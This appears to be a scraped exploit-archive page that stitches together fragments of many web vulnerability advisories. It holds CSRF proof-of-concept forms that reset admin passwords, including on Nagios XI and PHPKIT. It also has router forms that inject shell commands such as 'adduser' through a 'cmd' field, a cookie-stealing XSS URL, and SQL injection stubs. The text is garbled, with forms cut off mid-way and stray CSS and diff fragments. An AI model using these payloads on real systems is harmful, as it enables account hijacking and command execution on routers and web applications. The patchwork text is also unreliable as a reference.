Next Page >>
inputs
Technical Details
Reset the nagiosadmin password via CSRF
This can be useful to hijack the administrators account.
<input type='button' id='adminpassword' value='Set nagiosadmin Password'/>
<form name="adminpasswordform"
action="http://10.0.10.28/nagiosxi/account/main.php?page=acctinfo"
method="POST" target="hidden" class="invisible">
<input type="input" name="defaultDateFormat" value="1" />
<input type="input" name="defaultLanguage" value="en" />
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)
Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.
The vulnerability exists due to failure in the saveconfig script to properly sanitize user-supplied input in "header" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
An attacker can use browser to exploit this vulnerability. The following PoC is available:
<form action="http://host/starnet/index.php?option=modulemanager&module=3&modoption=saveconfig" method="post" name="main" >
<head>
<meta http-equiv="content-type" content="text/html; charset=ISO-8859-1">
</head>
Remote root command execution /bin/sh
<form method="post" action="http://192.168.1.1/apply.cgi" id=1>
<input name="submit_button" value="Ping" type="hidden">
<input name="action" value="ApplyTake" type="hidden">
<input name="submit_type" value="start" type="hidden">
<input name="change_action" value="gozila_cgi" type="hidden">
<input name="next_page" value="Diagnostics.asp" type="hidden">
<input name="ping_ip" value="echo owned">
Original Exploit URL: http://bugreport.ir/index.php?/39/exploit
3.1. Everyone can change admin password.
-------------
<form action="http://[URL]/asp/bs_login.asp?btnAction=cSaveAdminPW" method="post">
adminPassword: <input type="text" name="adminPassword" value="" size="30" /><br />
adminPasswordConfirm: <input type="text" name="adminPasswordConfirm" value="" size="30" /><br />
<input type="submit" />
</form>
-------------
3.2. Everyone can edit all the site info., such as admin email address.
Credit: High-Tech Bridge SA Security Research Lab ( https://www.htbridge.ch/advisory/ )
Vulnerability Details:
High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in SiT! Support Incident Tracker, which can be exploited to perform SQL injection, cross-site scripting, cross-site request forgery attacks.
1) Input passed via the "start" GET parameter to /portal/kb.php is not properly sanitised before being used in a SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.
The following PoC code is available:
http://[host]/portal/kb.php?start=SQL_CODE_HERE
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)
Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.
The vulnerability exists due to failure in the "administrator/index2.php" script to properly sanitize user-supplied input in "misc" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
An attacker can use browser to exploit this vulnerability. The following PoC is available:
<form action="http://eecore/elxis/administrator/index2.php" method="post" name="main" >
<input type="hidden" name="catid" value="1" />
<form action="http://192.168.1.1/setup.cgi";
method="POST" name="form">
<input type="hidden" name="user_list" value="1">
<input type="hidden" name="h_user_list" value="1">
<input type="hidden" name="sysname" value="admin">
Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ )
Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.
The vulnerability exists due to failure in the "index.php" script to properly sanitize user-supplied input in "col_18", "description" variables. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
An attacker can use browser to exploit this vulnerability. The following PoC is available:
1.
<form action="http://host/index.php" method="post" name="main" enctype="multipart/form-data">
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)
Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.
The vulnerability exists due to failure in the "_admin/faq.php" script to properly sanitize user-supplied input in "html_description" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
An attacker can use browser to exploit this vulnerability. The following PoC is available:
<form action="http://host/_admin/faq.php" method="post" name="main" >
Mibew messenger version 1.6.4 an probably below is vulnerable to multiple XSS (and persistent XSS).
They are all an POSTs and can be exploited due to the lack of CSRF protection
1) Input passed via the "address" and "threadid" POST parameters to /operator/ban.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.
2) Input passed via the "geolinkparams" POST parameter to /operator/settings.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.
_action = '/AdminSettings/displays.asp?DecideAction=1&ChangeSkin=1'
frmDisplay.action = window.document.all.URL.value + _action
return true;
}
</script>
URL: <input type="text" name="URL" />
<form name="frmDisplay" action="" method="post" onsubmit="return check()">
<input type="hidden" name="TemplateSkin" value="PanelXP/Blue" />
<input type="submit" />
</form>
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
<html>
<body>
<form action="http://10.1.10.1/goform/login" method="post"
name="tF">
<input type="hidden" name="user" value="mso" />
<input type="hidden" name="pws" value="D0nt4g3tme" />
</form> <script> document.tF.submit(); </script> </body>
</html>
## smcd3g-csrf-poc-2.htm
sensitive data.
Attacker can use browser to exploit this vulnerability. The following PoC is available:
[html]
<form action="http://[host]/panel.php?act=editprofile" method="post" name="main" id="main">
<input type="hidden" name="displayed_name" value="123">
<input type="hidden" name="real_name" value="">
<input type="hidden" name="avatar_remote" value="">
<input type="hidden" name="birthday_month" value="">
<input type="hidden" name="birthday_day" value="">
<input type="hidden" name="birthday_year" value="">
<body onLoad="javascript:document.form.submit()">
<form
action="http://localhost/xampp/phpkit/upload_files/include.php?path=userprofile&mode=edit"
method="POST" name="form">
<input type="hidden" name="PHPKITSID" value=<?php $sid ?> > <!-- Here is our
sessionid getting from the referer -->
<input type="hidden" name="ud_nick" value="Admin"> <!-- Enter here the
victims username -->
<input type="hidden" name="ud_newpw1" value="Pw"> <!-- Define a new
password -->
@@ -120,7 +122,7 @@
String attributeName = (String)
attributeNamesEnumeration.nextElement();
%>
<tr>
- - <td align="center"><form action="<%= submitUrl %>"><div><input
type="hidden" name="path" value="<%= path %>" /><input type="hidden"
name="action" value="removeSessionAttribute" /><input type="hidden"
name="sessionId" value="<%= currentSessionId %>" /><input type="hidden"
name="attributeName" value="<%= attributeName %>" /><input type="submit"
value="Remove" /></div></form></td>
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)
Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.
The vulnerability exists due to failure in the "admin/pages/configuration/index.php" script to properly sanitize user-supplied input in "copyright" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
An attacker can use browser to exploit this vulnerability. The following PoC is available:
<form action="http://host/admin.php?page=configuration&op=siteConfig&ok=true" method="post" name="main">
Credit: High-Tech Bridge SA (http://www.htbridge.ch/)
Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.
The vulnerability exists due to failure in the "/admin/edit.php" script to properly sanitize user-supplied input in "pealkiri" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
An attacker can use browser to exploit this vulnerability. The following PoC is available:
<form action="http://www.example.com/admin/edit.php" name="editForm" method="POST" enctype="multipart/form-data">
[b]
1) Create Webmaster (admin) XSRF Vulnerability[/b]
<html><head></head><body onLoad="javascript:document.attack.submit()">
<form action="http://localhost/xampp/runcms/modules/system/admin.php"
method="post" enctype="multipart/form-data" name="r">
<input type="hidden" name="uname" value="Attacker">
<input type="hidden" name="name" value="Attacker">
<input type="hidden" name="email" value="attack@attack.com">
<input type="hidden" name="url" value="">
<input type="hidden" name="user_avatar" value="blank.gif">
<input type="hidden" name="theme" value="helloween">
BORDER-LEFT: #999999 1px solid;
BORDER-BOTTOM: #ffffff 1px solid;
BACKGROUND-COLOR: #e4e0d8;
font: Fixedsys bold;
}
input {
BORDER-RIGHT: #ffffff 1px solid;
BORDER-TOP: #999999 1px solid;
BORDER-LEFT: #999999 1px solid;
BORDER-BOTTOM: #ffffff 1px solid;
BACKGROUND-COLOR: #e4e0d8;
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)
Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.
The vulnerability exists due to failure in the "/cmsimple/adm.php" script to properly sanitize user-supplied input in "site_title" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
An attacker can use browser to exploit this vulnerability. The following PoC is available:
<form action="http://host/" method="post" name="main" >
Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
Attacker can use browser to exploit this vulnerability. The following PoC is available:
<form action="http://host/index.php" method="post" name="main" >
<input type="hidden" name="groupID" value="1" />
<input type="hidden" name="name" value="username" />
<input type="hidden" name="surname" value="user" />
<input type="hidden" name="avatar" value="bsd.png" />
<input type="hidden" name="address" value="" />
<input type="hidden" name="zip_code" value="" />
Attacker can use browser to exploit this vulnerability. The following PoC is available:
<form action="http://host/" method="post" name="main" >
<input type="hidden" name="security_password" value="newpassword" />
<input type="hidden" name="security_type" value="page" />
<input type="hidden" name="site_title" value='CMSimple site' />
<input type="hidden" name="site_template" value="default" />
<input type="hidden" name="language_default" value="ru" />
<input type="hidden" name="meta_keywords" value="CMSimple, Content Management System, php" />
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)
Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.
The vulnerability exists due to failure in the "newsdesk/editnews.php", "projects/editproject.php", "clients/editclient.php" scripts to properly sanitize user-supplied input in "links", "url_dev", "url" variables. Successful exploitation of this vulnerabilities could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
An attacker can use browser to exploit this vulnerability. The following PoC is available:
1.
<form action="http://host/newsdesk/editnews.php?id=NEWSID&action=update" method="post">
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)
Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.
The vulnerability exists due to failure in the page editing script to properly sanitize user-supplied input in "subtitle" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
An attacker can use browser to exploit this vulnerability. The following PoC is available:
<form action="http://host/index.php" method="post" name="main" >
<input type="hidden" name="title" value="pagetest" />
Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ )
Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.
The vulnerabilities exists due to failure in the "admin/commonlib/lib/userlib.php", "admin/template.php", "admin/editlist.php" scripts to properly sanitize user-supplied input in "email" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
An attacker can use browser to exploit this vulnerability. The following PoC is available:
1.
<form action="http://host/admin/?page=user&start=0&id=USER_ID&find=&sortby=&sortorder=desc&unconfirmed=0&blacklisted=0" method="post" name="main" enctype="multipart/form-data">
}
.smlfont {
font-family: "Tahoma";
font-size: "11px";
}
.INPUT {
FONT-SIZE: "12px";
COLOR: "#000000";
BACKGROUND-COLOR: "#FFFFFF";
height: "18px";
border: 1px solid #666666 none;
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)
Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.
The vulnerability exists due to failure in the "wolf/app/controllers/PageController.php" script to properly sanitize user-supplied input in "page[description]" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
An attacker can use browser to exploit this vulnerability. The following PoC is available:
<form action="http://host/admin/?/page/edit/PAGE_ID" method="post" name="main">
Credit: High-Tech Bridge SA Security Research Lab ( https://www.htbridge.ch/advisory/ )
Vulnerability Details:
High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Browser CRM, which can be exploited to perform cross-site scripting, sql injection attacks.
1) Input appended to the URL after multiple files is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site
The following PoC code is available:
http://[host]/index.php/%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
ClearWire accounts as well as other personal information.
Add new user:
<form method="post" action="http://192.168.1.1/cgi-bin/webmain.cgi"
<http://192.168.1.1/cgi-bin/webmain.cgi%22>>
<input type="hidden" name="act" value="act_cmd_result">
<input type="hidden" name="cmd" value="adduser -S jaku">
<input type="submit">
</form>
or
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)
Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.
The vulnerability exists due to failure in the "snews.php" script to properly sanitize user-supplied input in "website_title" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
An attacker can use browser to exploit this vulnerability. The following PoC is available:
<form action="http://host/?action=process&task=save_settings" method="post" name="main" >
Next Page>>
|
